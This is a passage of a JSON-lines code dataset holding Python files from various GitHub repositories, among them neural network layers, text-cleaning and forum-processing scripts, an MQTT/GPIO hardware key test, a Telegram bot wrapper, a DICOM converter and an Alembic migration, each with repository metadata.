nn.AdaptiveAvgPool2d(1) # 全局自适应池化\n self.fc = nn.Sequential(\n nn.Linear(in_channel, in_channel // reduction, bias=False),\n nn.ReLU(inplace=True),\n nn.Linear(in_channel // reduction, in_channel, bias=False),\n nn.Sigmoid()\n )\n\n def forward(self, x):\n b, c, _, _ = x.size()\n y = self.avg_pool(x).view(b, c) # Squeeze\n y = self.fc(y).view(b, c, 1, 1) # Excitation: FC获取通道注意力权重，是具有全局信息的\n return x * y.expand_as(x) # Reweight", "repo_name": "RacleRay/RaychSnippts", "sub_path": "raych/layers/cnn/se.py", "file_name": "se.py", "file_ext": "py", "file_size_in_byte": 952, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Module", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}]} {"seq_id": "35871477476", "text": "__authors__ = 'Marija Aleksejeva, Daniil Kolomeitsev, Jevgenij Mozajev,' \\\n ' Nina Mustafina, Svetlana Pavlova'\n\n\nimport os\nimport justext\nimport re\n\n\n# This function cleans up the pages using justext. A new directory\n# with clean pages is created. The link is saved in the first line\n# of each file.\ndef clean_text(dirty_path, clean_path):\n link_reg = re.compile('(.+?)\\n')\n if not os.path.exists(clean_path):\n os.makedirs(clean_path)\n for root, dirs, files in os.walk(dirty_path):\n for dir in dirs:\n if not os.path.exists(os.path.join(clean_path, dir)):\n os.makedirs(os.path.join(clean_path, dir))\n for name in files:\n if name.endswith('.txt'):\n with open(os.path.join(root, name), 'r',\n encoding='utf-8') as f:\n text = f.read()\n link = link_reg.search(text).group(1)\n try:\n paragraphs = justext.\\\n justext(text, justext.get_stoplist('Russian'))\n new_path = os.path.join(root, name).replace(dirty_path,\n clean_path)\n with open(new_path, 'w', encoding='utf-8') as f1:\n f1.write(link + '\\n')\n for paragraph in paragraphs:\n if not paragraph.is_boilerplate:\n f1.write(paragraph.text + '\\n')\n except SyntaxError:\n #print('error: ' + name)\n pass\n", "repo_name": "sweeterr/dumb_search_engine", "sub_path": "project_cleaning.py", "file_name": "project_cleaning.py", "file_ext": "py", "file_size_in_byte": 1683, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.compile", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 16, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "justext.justext", "line_number": 28, "usage_type": "call"}, {"api_name": "justext.get_stoplist", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}]} {"seq_id": "28866873412", "text": "import original_filenames\nimport json\nimport collections\nimport os.path\n\n\ndef create_work_files(og_file):\n \"\"\"\n :param og_file: an original forum json-file with no modifications\n :return: send a dict for each file to function \"separate_each_month\"\n \"\"\"\n data = collections.defaultdict(list)\n with open(og_file, \"r\") as fin:\n og_forum = json.load(fin)\n for dialogs in og_forum[\"dialogs\"]:\n dialog_text = dialogs[\"content_text\"]\n dialog_text = dialog_text.replace(\"\\n\", \" \")\n dialog_text = dialog_text.replace(\" \", \" \")\n dialog_date = dialogs[\"meta\"][\"published\"]\n dialog_date = dialog_date[0:7]\n data[dialog_date].append(dialog_text)\n for comments in dialogs[\"comments\"]:\n comment_text = comments[\"content_text\"]\n comment_text = comment_text.replace(\"\\n\", \" \")\n comment_text = comment_text.replace(\" \", \" \")\n comment_date = comments[\"meta\"][\"published\"]\n comment_date = comment_date[0:7]\n data[comment_date].append(comment_text)\n fin.close()\n separate_each_month(data, og_file[6])\n\n\ndef separate_each_month(data_dict, file_name):\n \"\"\"\n :param data_dict: k=date, v=list with texts\n :param file_name: the identifier from original files, example= \"a\", \"k\", ...\n :return: files for each month, with all text joined, example path: \"m_months/m_2016-01.txt\"\n \"\"\"\n subdir = file_name + \"_months\"\n try:\n os.mkdir(subdir)\n except FileExistsError:\n print(\"Directory '%s' already exists.\" % subdir)\n for date, texts in data_dict.items():\n big_str = \" \".join(texts)\n outfile_name = file_name + \"_\" + date + \".txt\"\n with open(os.path.join(subdir, outfile_name), \"w\") as fout:\n fout.write(big_str)\n fout.close()\n\n\nif __name__ == \"__main__\":\n forums = original_filenames.forums\n for forum in forums:\n create_work_files(forum)\n", "repo_name": "SickanEkman/Forum-trends", "sub_path": "prepare_original_files.py", "file_name": "prepare_original_files.py", "file_ext": "py", "file_size_in_byte": 2009, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.defaultdict", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.mkdir", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 47, "usage_type": "name"}, {"api_name": "original_filenames.forums", "line_number": 53, "usage_type": "attribute"}]} {"seq_id": "36802233524", "text": "import paho.mqtt.client as mqtt\nimport json\nfrom time import sleep\nfrom test.lib import run_shell\n\nkey_list = ['button_ok', 'button_right', 'button_left', 'button_down', 'button_UP']\nmqttc = {}\ngpio = 0\n\ndef buzzer():\n run_shell('echo {} > /sys/class/gpio/export'.format(str(gpio)))\n run_shell('echo \"out\" > /sys/class/gpio/gpio{}/direction'.format(str(gpio)))\n run_shell('echo 1 > /sys/class/gpio/gpio{}/value'.format(str(gpio)))\n sleep(0.3)\n run_shell('echo 0 > /sys/class/gpio/gpio{}/value'.format(str(gpio)))\n\ndef on_message(msg):\n topic = msg.topic\n payload = bytes.decode(msg.payload)\n if topic == 'test/key/request':\n data = json.loads(payload)\n for a in key_list:\n if data['result'] == a:\n buzzer()\n key_list.remove(a)\n\ndef mqtt_init(ip, port):\n global mqttc\n mqttc = mqtt.Client(clean_session=True, userdata=None, protocol=mqtt.MQTTv31, transport=\"tcp\")\n mqttc.on_message = on_message\n mqttc.connect(ip, port, 30)\n mqttc.subscribe('test/key/request')\n buzzer()\n mqttc.loop_start()\n\ndef key_test(d):\n global gpio\n global key_list\n gpio = d['gpio']\n ip = d['ip']\n port = d['port']\n times = d['times']\n key = {\n 'flag': False,\n 'message': 'Key test fails'\n }\n key_list = ['button_ok', 'button_right', 'button_left', 'button_down', 'button_UP']\n try:\n mqtt_init(ip, port)\n except Exception as e:\n return [{\n \"flag\": False,\n \"message\": 'create mqtt client error!'\n }]\n for i in range(times):\n if len(key_list) == 0:\n break;\n sleep(1)\n mqttc.disconnect()\n if len(key_list) == 0:\n key['flag'] = True\n key['message'] = 'key pass!'\n else:\n print(*key_list, sep='\\n')\n return [key]", "repo_name": "liuchengyiu/power_control_test", "sub_path": "power_control_test/test/hardware/key/key.py", "file_name": "key.py", "file_ext": "py", "file_size_in_byte": 1831, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "test.lib.run_shell", "line_number": 11, "usage_type": "call"}, {"api_name": "test.lib.run_shell", "line_number": 12, "usage_type": "call"}, {"api_name": "test.lib.run_shell", "line_number": 13, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 14, "usage_type": "call"}, {"api_name": "test.lib.run_shell", "line_number": 15, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 21, "usage_type": "call"}, {"api_name": "paho.mqtt.client.Client", "line_number": 29, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 29, "usage_type": "name"}, {"api_name": "paho.mqtt.client.MQTTv31", "line_number": 29, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}]} {"seq_id": "74840051749", "text": "\"\"\"Label a pull request based on its type.\"\"\"\nimport enum\nimport pathlib\n\nfrom . import util\n\nTYPE_LABEL_PREFIX = \"type\"\n\n\n@enum.unique\nclass Labels(enum.Enum):\n \"\"\"Labels that can be applied to a Pull Request.\"\"\"\n\n type_bug = f\"{TYPE_LABEL_PREFIX}-bug\"\n docs = \"docs\"\n type_feature = f\"{TYPE_LABEL_PREFIX}-feature\"\n performance = \"performance\"\n type_security = f\"{TYPE_LABEL_PREFIX}-security\"\n tests = \"tests\"\n skip_news = \"skip news\"\n\n\nasync def add_labels(gh, issue, labels):\n \"\"\"Add the specified labels to the PR.\"\"\"\n current_labels = util.labels(issue)\n label_names = [c.value for c in labels if c.value not in current_labels]\n if label_names:\n await gh.post(issue[\"labels_url\"], data=label_names)\n\n\nasync def classify_by_filepaths(gh, pull_request, filenames):\n \"\"\"Categorize the pull request based on the files it has modified.\n\n If any paths are found which do not fall within a specific classification,\n then no new label is applied.\n\n The routing is handled by the filepaths module.\n \"\"\"\n pr_labels = []\n issue = await util.issue_for_PR(gh, pull_request)\n news = docs = tests = False\n for filename in filenames:\n if util.is_news_dir(filename):\n news = True\n filepath = pathlib.PurePath(filename)\n if filepath.suffix == \".rst\":\n docs = True\n elif filepath.name.startswith(\"test_\"):\n tests = True\n else:\n return pr_labels\n if tests:\n pr_labels = [Labels.tests]\n elif docs:\n if news:\n pr_labels = [Labels.docs]\n else:\n pr_labels = [Labels.docs, Labels.skip_news]\n await add_labels(gh, issue, pr_labels)\n return pr_labels\n", "repo_name": "python/bedevere", "sub_path": "bedevere/prtype.py", "file_name": "prtype.py", "file_ext": "py", "file_size_in_byte": 1733, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 112, "dataset": "github-code", "pt": "71", "api": [{"api_name": "enum.Enum", "line_number": 11, "usage_type": "attribute"}, {"api_name": "enum.unique", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pathlib.PurePath", "line_number": 45, "usage_type": "call"}]} {"seq_id": "1845172428", "text": "\nimport tensorflow as tf\nimport tensorflow_addons as tfa\n\nfrom nets.models.base import BaseTFKerasModel\n\n\n@tf.keras.utils.register_keras_serializable(\"nets\")\nclass GatedMixture(BaseTFKerasModel):\n \"\"\"\n Gated mixture of experts.\n\n Takes raw inputs, passes them through each expert and gate\n layer pair, elementwise multiplies the pairs, and sums,\n returning a tensor of shape (batch_size, embedding_dim).\n\n Inheritors should define the expert models in the init method and\n assign a list of the experts to a `self._experts` attribute.\n \"\"\"\n\n def __init__(self, n_experts, expert_dim, spectral_norm=False,\n name=\"GatedMixture\", **kwargs):\n\n super().__init__(name=name, **kwargs)\n\n self._n_experts = n_experts\n self._expert_dim = expert_dim\n self._spectral_norm = spectral_norm\n\n self._gate_layers = []\n\n for i in range(self._n_experts):\n dense_layer = tf.keras.layers.Dense(\n units=expert_dim, activation=\"sigmoid\"\n )\n if self._spectral_norm:\n dense_layer = tfa.layers.SpectralNormalization(\n dense_layer\n )\n self._gate_layers.append(dense_layer)\n\n def call(self, inputs, training=True):\n\n outputs = None\n\n # Iterate over experts and gate layers, take the elementwise product\n # and add to the outputs sum vector.\n # AutoGraph convertible -- no side effects\n for expert, gate_layer in zip(self._experts, self._gate_layers):\n expert_output = expert.__call__(inputs)\n gates = gate_layer.__call__(inputs)\n gated_expert = tf.math.multiply(gates, expert_output)\n if outputs is None:\n outputs = gated_expert\n else:\n outputs = tf.math.add(outputs, gated_expert)\n\n return outputs\n\n def get_config(self):\n config = super().get_config()\n config.update({\n \"n_experts\": self._n_experts,\n \"expert_dim\": self._expert_dim,\n \"spectral_norm\": self._spectral_norm\n })\n return config\n\n @property\n def experts(self):\n return self._experts", "repo_name": "abw-24/nets", "sub_path": "src/nets/models/mixture.py", "file_name": "mixture.py", "file_ext": "py", "file_size_in_byte": 2229, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nets.models.base.BaseTFKerasModel", "line_number": 9, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow_addons.layers.SpectralNormalization", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow_addons.layers", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.math.multiply", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 52, "usage_type": "attribute"}, {"api_name": "tensorflow.math.add", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 56, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.utils.register_keras_serializable", "line_number": 8, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 8, "usage_type": "attribute"}]} {"seq_id": "30741375610", "text": "import pygame, sys, os, random\n\nclass Carro_inimigo(pygame.sprite.Sprite):\n def __init__(self, screen):\n pygame.sprite.Sprite.__init__(self)\n self.screen = screen\n self.posicoes = [[480, 350], [505, 350]]\n self.posicao = random.choice(self.posicoes)\n self.objetos = ['adv_car.png', 'adv_car2.png', 'adv_car3.png', 'adv_car4.png']\n self.objeto = pygame.image.load('imagens' + os.sep + random.choice(self.objetos))\n self.tam_objeto_x = 80 \n self.tam_objeto_y = 80\n self.pos_objeto_x = self.posicao[0]\n self.pos_objeto_y = self.posicao[1]\n self.objeto_print = pygame.transform.scale(self.objeto, (self.tam_objeto_x, self.tam_objeto_y))\n self.rect_objeto= self.objeto_print.get_rect()\n self.rect_objeto.x, self.rect_objeto.y = self.posicao\n\n \n def mover_objeto(self):\n if self.posicao == [505, 350]:\n self.pos_objeto_x += 0.12 * (self.tam_objeto_x / 10) \n elif self.posicao == [480, 350]:\n self.pos_objeto_x -= 0.24 * (self.tam_objeto_x / 10)\n\n self.pos_objeto_y += 0.1 * (self.tam_objeto_y / 8)\n self.tam_objeto_x += 1 \n self.tam_objeto_y += 1 \n\n self.objeto_print = pygame.transform.scale(self.objeto, (self.tam_objeto_x, self.tam_objeto_y))\n self.rect_objeto = self.objeto_print.get_rect()\n self.rect_objeto.x, self.rect_objeto.y = (self.pos_objeto_x, self.pos_objeto_y)\n if self.pos_objeto_y > 1200 or self.pos_objeto_x > 2000 or self.pos_objeto_x < -300:\n self.objeto = pygame.image.load('imagens' + os.sep + random.choice(self.objetos))\n self.posicao = random.choice(self.posicoes)\n self.pos_objeto_y = self.posicao[1]\n self.pos_objeto_x = self.posicao[0] \n self.tam_objeto_x = 20\n self.tam_objeto_y = 20\n self.objeto_print = pygame.transform.scale(self.objeto, (self.tam_objeto_x, self.tam_objeto_y))\n self.rect_objeto = self.objeto_print.get_rect()\n self.rect_objeto.x, self.rect_objeto.y = (self.pos_objeto_x, self.pos_objeto_y)\n print_comb = False\n def print_objeto(self, screen):\n self.objeto_print = pygame.transform.scale(self.objeto, (self.tam_objeto_x, self.tam_objeto_y))\n self.screen.blit(self.objeto_print, (self.pos_objeto_x, self.pos_objeto_y)) \n #self.rect_objeto.normalize()\n\n\n\n\n", "repo_name": "RonnanSouza/need_py_speed_game", "sub_path": "Game/objetos_pista.py", "file_name": "objetos_pista.py", "file_ext": "py", "file_size_in_byte": 2418, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.sprite", "line_number": 3, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 5, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 10, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.transform.scale", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 34, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 34, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.transform.scale", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 45, "usage_type": "attribute"}]} {"seq_id": "36137268312", "text": "from transformers import (\n RobertaForMaskedLM,\n RobertaForTokenClassification,\n AutoTokenizer\n)\nfrom collections import Counter\n\n\ndef load_roberta(model_path, mode=\"prompt\"):\n tokenizer = AutoTokenizer.from_pretrained(model_path, use_fast=True, add_prefix_space=True, do_lower_case=False)\n if mode == \"prompt-tuning\":\n model = RobertaForMaskedLM.from_pretrained(model_path)\n tokenizer.model_max_length = model.config.max_position_embeddings - 2\n return tokenizer, model\n elif mode == \"fine-tuning\":\n model = RobertaForTokenClassification.from_pretrained(model_path)\n tokenizer.model_max_length = model.config.max_position_embeddings - 2\n return tokenizer, model\n else:\n raise NotImplementedError(\"Choose from prompt-tuning or fine-tuning\")\n\n\ndef add_label_token_roberta(model, tokenizer, label_map, wo_label_words=False):\n sorted_add_tokens = sorted(list(label_map.keys()), key=lambda x: len(x), reverse=True)\n # tokenizer.add_tokens(sorted_add_tokens)\n num_tokens, _ = model.roberta.embeddings.word_embeddings.weight.shape\n model.resize_token_embeddings(len(sorted_add_tokens) + num_tokens)\n if wo_label_words:\n return model\n for token in sorted_add_tokens:\n if token.startswith('i-'):\n index = tokenizer.convert_tokens_to_ids(tokenizer.tokenize(token))\n if len(index) > 1:\n raise RuntimeError(f\"{token} wrong split: {index}\")\n else:\n index = index[0]\n # assert index >= num_tokens, (index, num_tokens, token)\n # n_label_word = len(list(set(label_map[token])))\n ws = label_map[token]\n print(tokenizer.convert_ids_to_tokens(ws))\n e_token = model.roberta.embeddings.word_embeddings.weight.data[ws[0]]\n for i in ws[1:]:\n e_token += model.roberta.embeddings.word_embeddings.weight.data[i]\n e_token /= len(ws)\n model.roberta.embeddings.word_embeddings.weight.data[index] = e_token\n\n return model\n", "repo_name": "LogIntelligence/LogPPT", "sub_path": "logppt/models/roberta.py", "file_name": "roberta.py", "file_ext": "py", "file_size_in_byte": 2064, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 40, "dataset": "github-code", "pt": "71", "api": [{"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 10, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 10, "usage_type": "name"}, {"api_name": "transformers.RobertaForMaskedLM.from_pretrained", "line_number": 12, "usage_type": "call"}, {"api_name": "transformers.RobertaForMaskedLM", "line_number": 12, "usage_type": "name"}, {"api_name": "transformers.RobertaForTokenClassification.from_pretrained", "line_number": 16, "usage_type": "call"}, {"api_name": "transformers.RobertaForTokenClassification", "line_number": 16, "usage_type": "name"}]} {"seq_id": "36090435314", "text": "import logging\n\nimport telegram\nfrom telegram import Update\nfrom telegram.error import TelegramError\nfrom telegram.ext import CallbackContext, CommandHandler, Updater\n\nfrom eliud.conf import settings\nfrom eliud.markups.base import BaseMarkup\n\nlogger = logging.getLogger(\"eliud.telegram\")\n\n\nclass Bot:\n \"\"\"\n Constructs a bot and handles all the interactions\n \"\"\"\n\n def __init__(self):\n token = settings.TELEGRAM_TOKEN\n self.bot = telegram.Bot(token=token)\n self.updater = Updater(\n token=token, use_context=True, workers=settings.TELEGRAM_WORKERS\n )\n self.dispatcher = self.updater.dispatcher\n self.commands_descriptions = []\n\n def add_callback(self, handler, pattern, run_async=False):\n \"\"\"\n Add Callback action\n :param handler:\n :param pattern:\n :param run_async:\n :return:\n \"\"\"\n self.dispatcher.add_handler(handler, pattern=pattern, run_async=run_async)\n\n def add_command(self, command):\n \"\"\"\n Add command action\n :param command:\n :return:\n \"\"\"\n self.dispatcher.add_handler(\n CommandHandler(\n command.command, command.get_handle, run_async=command.is_async\n )\n )\n\n if command.description:\n self.commands_descriptions.append((command.command, command.description))\n\n def __set_descriptions(self):\n \"\"\"\n Set commands descriptions in Telegram\n\n :return:\n \"\"\"\n self.bot.set_my_commands(self.commands_descriptions)\n\n def send_message(self, chat_id: str, markup: BaseMarkup):\n try:\n self.bot.send_message(chat_id=chat_id, text=markup.get_text())\n except TelegramError as e:\n logger.error(e)\n\n def start(self):\n \"\"\"\n Start the bot in development mode\n\n \"\"\"\n self.__set_descriptions()\n self.updater.start_polling()\n self.updater.idle()\n logger.info(f\"Running at https://t.me/{self.bot.username}\")\n\n\ndef send_message(chat_id: str, markup: BaseMarkup):\n try:\n bot.send_message(chat_id=chat_id, markup=markup)\n return True\n except TelegramError as e:\n logger.error(e)\n return False\n\n\nbot = Bot()\n\n__all__ = [\"bot\", \"Update\", \"CallbackContext\", \"send_message\"]\n", "repo_name": "ragnarok22/eliud", "sub_path": "eliud/telegram/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2345, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "eliud.conf.settings.TELEGRAM_TOKEN", "line_number": 20, "usage_type": "attribute"}, {"api_name": "eliud.conf.settings", "line_number": 20, "usage_type": "name"}, {"api_name": "telegram.Bot", "line_number": 21, "usage_type": "call"}, {"api_name": "telegram.ext.Updater", "line_number": 22, "usage_type": "call"}, {"api_name": "eliud.conf.settings.TELEGRAM_WORKERS", "line_number": 23, "usage_type": "attribute"}, {"api_name": "eliud.conf.settings", "line_number": 23, "usage_type": "name"}, {"api_name": "telegram.ext.CommandHandler", "line_number": 45, "usage_type": "call"}, {"api_name": "eliud.markups.base.BaseMarkup", "line_number": 61, "usage_type": "name"}, {"api_name": "telegram.error.TelegramError", "line_number": 64, "usage_type": "name"}, {"api_name": "eliud.markups.base.BaseMarkup", "line_number": 78, "usage_type": "name"}, {"api_name": "telegram.error.TelegramError", "line_number": 82, "usage_type": "name"}]} {"seq_id": "71938513511", "text": "# for task2 chaos \n\nimport os\nimport SimpleITK as sitk\nres=[]\nfor filename in os.listdir(r'CT'):\n # print(filename+'/DICOM_anon')\n res.append(filename+'/DICOM_anon')\n# print(res)\nfor i in res:\n file_path = os.path.join('CT',i) #dicom存放文件夹\n print(i.split('/')[0])\n print(file_path)\n series_IDs = sitk.ImageSeriesReader.GetGDCMSeriesIDs(file_path)\n series_file_names = sitk.ImageSeriesReader.GetGDCMSeriesFileNames(file_path)\n\n series_reader = sitk.ImageSeriesReader()\n series_reader.SetFileNames(series_file_names)\n\n image3D = series_reader.Execute()\n sitk.WriteImage(image3D, i.split('/')[0]+'.nii.gz')\n", "repo_name": "zz10001/LITS2017-main1", "sub_path": "data_prepare/dcm2nii.py", "file_name": "dcm2nii.py", "file_ext": "py", "file_size_in_byte": 646, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.listdir", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "SimpleITK.ImageSeriesReader.GetGDCMSeriesIDs", "line_number": 14, "usage_type": "call"}, {"api_name": "SimpleITK.ImageSeriesReader", "line_number": 14, "usage_type": "attribute"}, {"api_name": "SimpleITK.ImageSeriesReader.GetGDCMSeriesFileNames", "line_number": 15, "usage_type": "call"}, {"api_name": "SimpleITK.ImageSeriesReader", "line_number": 15, "usage_type": "attribute"}, {"api_name": "SimpleITK.ImageSeriesReader", "line_number": 17, "usage_type": "call"}, {"api_name": "SimpleITK.WriteImage", "line_number": 21, "usage_type": "call"}]} {"seq_id": "36526538023", "text": "\"\"\"first.\n\nRevision ID: de23d4edb0e2\nRevises:\nCreate Date: 2021-12-20 11:41:48.292514\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"de23d4edb0e2\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"tournaments\",\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\"name\", sa.String(length=255), nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.create_table(\n \"users\",\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\"username\", sa.String(length=255), nullable=False),\n sa.Column(\"password\", sa.String(length=255), nullable=True),\n sa.Column(\"email\", sa.String(length=255), nullable=True),\n sa.Column(\"verified\", sa.Boolean(), nullable=True),\n sa.Column(\"firebase_id\", sa.String(length=255), nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.create_table(\n \"user_tournaments\",\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\"user_id\", sa.Integer(), nullable=True),\n sa.Column(\"tournament_id\", sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(\n [\"tournament_id\"],\n [\"tournaments.id\"],\n ),\n sa.ForeignKeyConstraint(\n [\"user_id\"],\n [\"users.id\"],\n ),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table(\"user_tournaments\")\n op.drop_table(\"users\")\n op.drop_table(\"tournaments\")\n # ### end Alembic commands ###\n", "repo_name": "probicheaux/brackend", "sub_path": "alembic/versions/de23d4edb0e2_first.py", "file_name": "de23d4edb0e2_first.py", "file_ext": "py", "file_size_in_byte": 1762, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "alembic.op.create_table", "line_number": 19, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 25, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.Boolean", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 33, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 35, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 35, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 39, 